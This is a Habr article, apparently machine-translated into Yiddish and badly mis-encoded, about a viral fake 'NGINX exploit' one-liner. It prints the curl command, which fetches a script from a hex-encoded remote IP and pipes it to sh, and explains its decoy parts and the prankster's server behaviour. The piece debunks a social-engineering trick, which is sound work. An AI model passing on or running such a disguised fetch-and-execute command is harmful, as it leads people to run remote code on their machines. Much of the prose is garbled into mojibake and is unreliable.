ื ืืืืฅ. ืืจืึทื ืกื.:
TL; DR: ืืึธื ื ืื ื ืืฆื ืืขืงืข ืคึผืืืคึผืืืื ืืื ืฉ ืึธืืขืจ ืืึทืฉ ืืื ืืขืจ ืงืืื ืฆืืฉืืื ืื. ืืึธืก ืืื ืึท ืืจืืืก ืืืขื ืฆื ืคืึทืจืืืจื ืงืึธื ืืจืึธื ืคืื ืืืื ืงืึธืืคึผืืืืขืจ.
ืืื ืืืืื ืฆื ืืืืื ืืื ืืืจ ืึท ืงืืจืฅ ืืขืจืฆืืืืื ื ืืืขืื ืึท ืงืึธืืืงืขืจ ืคึผืึธืง ืขืงืกืคึผืืืื ืืืึธืก ืืื ืืขืืืขื ืืืฉืืคื ืืืืฃ ืืื 31. ืขืจ ืืื ืืขืืืขื ืืืืื ืืื ืขื ืืคืขืจ ืฆื ื ืืึทืขืก ืคืื
ื ืึธื ืคืึทืจืืืง ืืจืืขืื ืืืืฃ ืึท ื ืืึทืข ืึทืืคืึทืกืงืืืฉืึทื ืืขืื ืืง ืืื ืงืขืจื, ืืื ืฆืืืืจืื ืืขืจ ืึธืจืืืื ืขื ืืืืขืขื ืืื "ืืืงื ืึท ืืจืืขืื ืคึผืึธืง" ืงืึทื ืกืืกืืื ื ืคืื ืึท ืืืื ืฉืืจื ืคืื ืงืึธื ืืืึธืก ืกืึทืคึผืึธืืืึทืืื ืขืงืกืคึผืืืืฅ ืื ืืืกืงืึทืืืขืจื ืืืึทืื ืขืจืึทืืืืืื. ืืึธื, ืืึธืก ืืื ืืขืืืขื ืืึทื ืฅ ืืืืื. ืืื ืืึธื ืืขืืืื ื ืึทื ืืื ืืืึธืื ืืืืื ืืงืกืคึผืึธืืื, ืืื ืึทื ืืื ืืขืกืืขืจ ืืื ืืืึธืื ืืึทืงืืืขื ืึท ืคึผืึธืจ ืคืื ืจืืืืืขืขืฅ (ืืื ืืื).
ืืื ืืื ืืืขืจ ื ืืฉื ืืขืงืขื ื ืคืืจืฉืืขืื ืืืืก ืืืืืืขืจ ืืื ืืขืฉืขื. ืืืื ืืืืขืขื ืก ืคึผืึธืคึผืืืึทืจืืืขื ืกืงืืืจืึทืงืึทืืื. ืกืึทืคึผืจืืืืื ืืื, ืืื ืืขื ืืึธืืขื ื (15:00 ืืึธืกืงืืืข ืฆืืื ืืื ื 1) ืืืืื ืืง ืืขื ืืฉื ืืึธืื ืืืื ืืขืืขื ืึทื ืืึธืก ืืื ืึท ืฉืืืื ืื. ืคืืืข ืืขื ืืฉื ืจืขืืืืขืขื ืขืก ืึธื ืงืึธื ืืจืึธืืืจื ืขืก ืืื ืึทืืข (ืืึธืื ืึทืืืื ืืึทืืืื ืืขืจื ืื ืฉืืื ืข ASCII ืืจืึทืคืืงืก ืขืก ืึทืืืคึผืืฅ).
ืงืืง ื ืึธืจ ืืื ืฉืืื ืขืก ืืื!
ืืึธืืฉ ืึทืืข ืื ืืืคึผืก ืืื ืคืืจืื ืืขื ืขื ืืจืืืก, ืขืก ืืื ืงืืึธืจ ืึทื ืืขื ืืฉื ืืึธืื ืฆื ืืืืคื ืงืึธื ืืืืฃ ืืืืขืจ ืืึทืฉืื ืฆื ืืขื ืืื. ืฆืื ืืืืง, ืืจืึทืืืขืจื ืึทืจืืขื ืื ืืขืืืข ืืืขื, ืืื ืงืึทืืืืื ื ืืื ืืขื ืคืึทืงื ืึทื ืืื ืืื ื ืืฉื ืืึทืงืข ืืืืื ืฆื ืืึทืงืืืขื ืืื ืืขืืึทื ืงืึธื ืคืืืงื, ืื ืงืึธื ืืงืืจ ืืขืืืขื ืืื ืืืื ืคึผืืึทืฅ ืืื ื ืึธืจ ืืขืืืื ืขืงืึธื ืงืึทืืืก ืึธื ืคึผืจืืืื ืฆื ืื ืกืืึทืืืจื ืึธืืขืจ ืืืกืคืืจื ืงืืื ื ืึธื ืงืึธื.
ื ืงืืืื ืืืืจืขืฉืึทื:
curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost
ืกืึธืกืืึธ-ืขืืขืงืืจืึธื ืืง ืื ืืฉืขื ืืขืจืืข (SEE) - ืืขืจ ืืื ื ืึธืจ ืคืืฉืื ื
ืืืืขืจืงืืึทื ืืื ืคืึทืืืืืขืจืึทืื ืืื ืืขืืืขื ืึท ืืืืคึผื ืืืื ืคืื ืืขื ืขืงืกืคึผืขืจืืืขื ื. ืืื ืืจืึทืืื ืืื ืืขื ืขื ืืืึธืก ืืขืคึฟืืจื ืฆื ืืืื ืืฆืืื. ืื ืืึทืคึฟืขืื ืฉืืจื ืงืืืจ ืืืคึผืืืื ืืืืขืจืืืื ืืืจื ืจืืคืขืจืื ื ืฆื "127.0.0.1" (ืื ืืึทืืืืกื ืืึธืงืึทืืืึธืกื). Localhost ืืื ืืขืจืขืื ื ืืื ืืืืขืจ ืืื ืื ืืึทืื ืืืืฃ ืขืก ืงืืื ืืึธื ืืึธืื ืืืื ืงืึธืืคึผืืืืขืจ.
ืคืึทืืืืืขืจืึทืื ืืื ืืขืืืขื ืื ืจืืข ืฉืืืกื ืืขื ืงืึธืืคึผืึธื ืขื ื ืคืื ืืขืจ ืขืงืกืคึผืขืจืืืขื ื. ืืื ื ืื ืฆืื ืืืืขื ืืคึฟืจื ืงืึธื ืกืืกืืขื ืคืื ืืขื ืืฉื ืืืึธืก ืืขื ืขื ืืึทืงืึทื ื ืืื ืื ืืึทืกืืงืก ืคืื ืงืึธืืคึผืืืืขืจ ืืืืขืจืืืื, ืขืก ืืื ืืืืืืืง ืฆื ืฉืึทืคึฟื ืงืึธื ืึทืืื ืึทื ืืืื ืคืื ืขืก ืืขืืืขื ืืึทืงืึทื ื ืืื ืืึทืงืึทื ื (ืืื ืืขืจืืืขืจ ืืืืขืจ). ืืึทืจืึธืืื ื ืขืืขืืขื ืื ืคืื ืึทืื ืขืงืกืคึผืืืื ืงืึทื ืกืขืคึผืก ืืื ืงืึทืืืืื ืื ื ืืื ืืื ืึท ืืืืขืืืืื ืืืขื ืืืขื ืืื ืคึผืจืึธืืืขื ืฆื ืืืื ืืืืขืจ ืืฆืืื.
ืื ืืขืจ ืืื ืึท ืืืืืืื ืึทื ืึทืืืกืืก ืคืื ืื ืืืื-ืืืื ืขืจ. ืึทืืฅ ืืืืฃ ืืขื ืจืฉืืื ืืื ืืืืืืื ืงืึธืกืืขืืืง ื ืึทืืืจ, ืืื ืคึผืจืึทืงืืึทืงืื ืืึธืจื ืืฉื ืืื ืคืืจืืื ืื ืคึฟืึทืจ ืืืึทื ืคืึทืงืืืฉ ืึธืคึผืขืจืึทืฆืืข.
ืืืึธืก ืงืึทืืคึผืึธืื ืึทื ืฅ ืืขื ืขื ืืึทืงืข ื ืืืืืง? ืืืก -gsS
, -O 0x0238f06a
, |sh
ืืื ืื ืืืขื ืกืขืจืืืขืจ ืืื. ืืขืจ ืืืขื ืกืขืจืืืขืจ ืืื ื ืืฉื ืึทื ืืืึทืืื ืงืืื ืืืืืข ืืื ืกืืจืืงืฆืืขืก, ืึธืืขืจ ื ืึธืจ ืืขืืื ื ASCII ืืจืึทืคืืงืก ื ืืฆื ืงืึทืืึทื ืื echo
ืืื ืื ืฉืจืืคื ืงืึทื ืืืื ื ืืื index.html
. ืืืขื ืืขืจ ืืึทื ืืฆืขืจ ืืื ืืจืืื ืืื ืึท ืฉืืจื ืืื |sh
ืืื ืืืื, index.html
ืืึธืืืื ืืื ืขืงืกืึทืงืืืืึทื. ืฆืื ืืืืง, ืื ืงืึทืกืืึทืืืึทื ื ืคืื ืื ืืืขื ืกืขืจืืืขืจ ืืื ืงืืื ืงืจืึทื ืง ืื ืืขื ืืฉืึทื ื.
-
../../../%00
- ืจืขืคึผืจืึทืืขื ืฅ ืืืื ืืืืึทืืขืจ ืคืื ืื ืืืขืืืืืึทืืขืจ; -
ngx_stream_module.so
- ืืจื ืฆื ืึท ืืจืึทืค - NGINX ืืึธืืืืข; -
/bin/sh%00<'protocol:TCP'
- ืืืจ ืืขื ืขื ืกืึทืคึผืึธืืืึทืืื ืืึธื ืืฉืื ื/bin/sh
ืืืืฃ ืื ืฆืื ืืึทืฉืื ืืื ืจืืืขืจืขืงื ืื ืจืขืืืืืึทื ืฆื ืื TCP ืงืึทื ืึทื; -
-O 0x0238f06a#PLToffset
- ืกืื ืื ืืจืืืืึทื ื, ืกืึทืคึผืืึทืืขื ืืึทื#PLToffset
, ืฆื ืงืืงื ืืื ืึท ืืึผืจืื ืึธืคืกืขื ืขืคืขืก ืงืึทื ืืืื ื ืืื ืื PLT; -
|sh;
- ืื ืื ืืขืจ ืืืืืืืง ืคืจืึทืืืขื ื. ืืืจ ืืึทืจืคึฟื ืฆื ืจืืืขืจืขืงื ืื ืจืขืืืืืึทื ืฆื sh / bash ืืื ืกืืจ ืฆื ืืืกืคืืจื ืื ืงืึธื ืคึฟืื ืื ืึทืืึทืงืื ื ืืืขื ืกืขืจืืืขืจ ืืืื ืืื0x0238f06a
(2.56.240.x
); -
nc /dev/tcp/localhost
- ืึท ืืึธืง ืืื ืืืึธืก ื ืขืืงืึทื ืจืขืคืขืจืก ืฆื/dev/tcp/localhost
ืึทืืื ืึทื ืึทืืฅ ืงืืงื ืืืืืขืจ ืืืืขืจ. ืืื ืคืึทืงื, ืขืก ืืื ืืึธืจื ืืฉื ืืื ืืื ืึทืจืืึทื ืืขืจืขืื ื ืืื ืื ืฉืืจื ืคึฟืึทืจ ืฉืืื ืงืืื.
ืืึธืก ืขื ืืืงื ืื ืืืงืึธืืืื ื ืคืื ืื ืืืื-ืฉืืจื ืฉืจืืคื ืืื ืื ืืืกืงืืกืืข ืคืื โโืึทืกืคึผืขืงืฅ ืคืื "ืกืึธืกืืึธ-ืขืืขืงืืจืึธื ืืง ืื ืืฉืขื ืืขืจืืข" (ืืขืืืืื ืืืขื ืคืืฉืื ื).
ืืืขื ืกืขืจืืืขืจ ืงืึทื ืคืืืืขืจืืืฉืึทื ืืื ืงืึธืื ืืขืจืืขืืฉืขืจื
ืืื ื ืื ืืืึทืกื ืืขืจืืืึทื ืคืื ืืืื ืืืื ืขื ืื ืืขื ืขื ืื ืคืึธืกืขืง / ืืึทืงืขืจื, ืืื ืืึทืฉืืึธืกื ืฆื ืืึทืื ืื ืืืขื ืกืขืจืืืขืจ ืึท ืืืกื ืืขืจ ืงืขืื ืฉืืขืืืง ืฆื ืืืืกืืจืืงื ืคืื "ืืื ืืขืจืขืก" ืคืื ืืืืขืจ ืืืื, ื ืึธืจ ืึทืืื ืึทื ืื ืืืื ืืืึธืื ืืึธืื ืขืคึผืขืก ืฆื ืืึธื (ืืื ืขืก ืืืึธืื ืืืื ืฉืคึผืึทืก ืฆื ืืึธื) ืฉืืขื ืืืืฃ). ืืื ืืื ื ืืฉื ืืขืืื ืืขื ืฆื ืจืฉืืื ืึทืืข ืื ืคึผืืืคืึธืื ืืึธ ืืื ื ืืขืจ ืขืงืกืคึผืขืจืืืขื ื ืืื ื ืึธื ืึธื ืืึธืื ื, ืึธืืขืจ ืืึธ ืืขื ืขื ืขืืืขืืข ืืื ืื ืืืึธืก ืื ืกืขืจืืืขืจ ืืื:
- ืึทืงืืืืืื ืืึธื ืืืึธืจืก ืคืึทืจืฉืคึผืจืืืืื ื ืคืจืืืื ืืืืฃ ืืืืขืจ ืืขืืขืืฉืึทืคืืืขื ื ืขืืืืึธืจืงืก ืืื ืกืึทืืกืืึทืืืฅ ืคืึทืจืฉืืื ืคึผืจืืืืื ืืืืืื ืึทืืืก ืฆื ืืืืืงื ืื ืืึทื ืืฆืขืจ ืฆื ืืื ืืืืฃ ืื ืืื ืง.
- ืจืืืขืจืขืงืฅ ืงืจืึธืื / ืืึธืืืืืึท / ืกืึทืคืึทืจื / ืขืืง ืฆื ืื ืคึผืขืจืืึธืืฉืึทื ืึทื ืืืืืขื ืคืื Thugcrowd ืึทื ืฉืืึธื ืคืื ืืืืึทืื ืื ืฉืึธื ืฉืจืืคื.
- ืืืึทืืฉืื ืคึฟืึทืจ ืงืืึธืจ ืืื ืืขืจ ืืึธื ืืืืื ืืขืจ ืคืื ืื ืืจืืืฉืึทื / ืืืืืืึทื ื ืืึทืงืื ื, ืืื ืืขืืึธืื ืืืืื ืจืืืขืจืขืงืืื ื ืจืืงืืืขืก ืฆื NSA ืกืขืจืืืขืจืก (ืืึท!).
- ืื ืกืืึธืื ืึท ืืจืึธืืืฉืึทื, ืืื ืืขืืื ื ืืื ืึท ืืืืึธืืก ืจืึธืึธืืงืื, ืืืืฃ ืึทืืข ืงืึธืืคึผืืืืขืจืก ืืืขืืขื ืก ื ืืฆืขืจืก ืืึทืืืื ืืขื ืืึทืืขืืึธืก ืคึฟืื ืึท ืจืขืืืืขืจ ืืืขืืขืจืขืจ (ื ืึธืจ ืงืืืื ื!).
ื ืงืืืื ืืืื ืคืื ืึทื ืืืืขืจื
ืืื ืืขื ืคืึทื, ืืืื ืืืืื ืฆืื ืืื ืืขืืืขื ืฆื ืืขื ืขืืืขืืข ืคืื โโืื ืคึฟืขืึดืงืืืื ืคืื ืึทืคึผืึทืืฉื - ืกืคึผืขืฆืืขื ืื ืงืื ืึผืืืื ืคึฟืึทืจ ืจืืืขืจืขืงืืื ื ืจืืงืืืขืก - ืืื ืืื ืืขืืึทื ืง: ืืืึธืก ื ืื?
NGINX Exploit (ืคืึทืงืืืฉ!)
ืึทืืึธื ืืจื ืฆื
ืืงืืจ: www.habr.com